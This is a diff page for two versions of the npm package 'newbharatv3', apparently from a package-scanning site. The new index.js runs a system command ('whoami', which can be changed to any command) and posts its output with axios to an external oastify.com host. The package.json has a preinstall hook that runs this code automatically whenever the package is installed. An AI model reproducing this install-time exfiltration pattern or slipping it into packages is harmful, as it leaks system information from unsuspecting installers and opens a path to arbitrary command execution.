newbharatv3 1.0.0 → 1.0.2

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +31 -13
  2. package/package.json +2 -2
package/index.js CHANGED
@@ -1,13 +1,31 @@
1
- const { exec } = require('child_process');
2
-
3
- exec('ls -la', (error, stdout, stderr) => {
4
- if (error) {
5
- console.error(`Error: ${error.message}`);
6
- return;
7
- }
8
- if (stderr) {
9
- console.error(`Stderr: ${stderr}`);
10
- return;
11
- }
12
- console.log(`Output:\n${stdout}`);
13
- });
1
+ const { exec } = require('child_process');
2
+ const axios = require('axios');
3
+
4
+ // System command run karna (e.g., 'whoami' ya 'dig example.com')
5
+ const command = 'whoami'; // yahan apni desired command likho
6
+
7
+ exec(command, async (error, stdout, stderr) => {
8
+ if (error) {
9
+ console.error(`Error: ${error.message}`);
10
+ return;
11
+ }
12
+ if (stderr) {
13
+ console.error(`Stderr: ${stderr}`);
14
+ return;
15
+ }
16
+
17
+ const commandOutput = stdout.trim();
18
+ console.log(`Command Output: ${commandOutput}`);
19
+
20
+ // Ab HTTP request bhejna using axios
21
+ try {
22
+ const response = await axios.post('http://828zrk4wwyeeah3qobnqq6c2otukie63.oastify.com', {
23
+ data: commandOutput // Yahan output ko HTTP request body mein bhej rahe hain
24
+ });
25
+
26
+ console.log('Response Status:', response.status);
27
+ console.log('Response Data:', response.data);
28
+ } catch (err) {
29
+ console.error('HTTP Request Error:', err.message);
30
+ }
31
+ });
package/package.json CHANGED
@@ -1,11 +1,11 @@
1
1
  {
2
2
  "name": "newbharatv3",
3
- "version": "1.0.0",
3
+ "version": "1.0.2",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
7
  "test": "echo \"Error: no test specified\" && exit 1",
8
- "preinstall" : "node index.js"
8
+ "preinstall": "node index.js"
9
9
  },
10
10
  "author": "",
11
11
  "license": "ISC"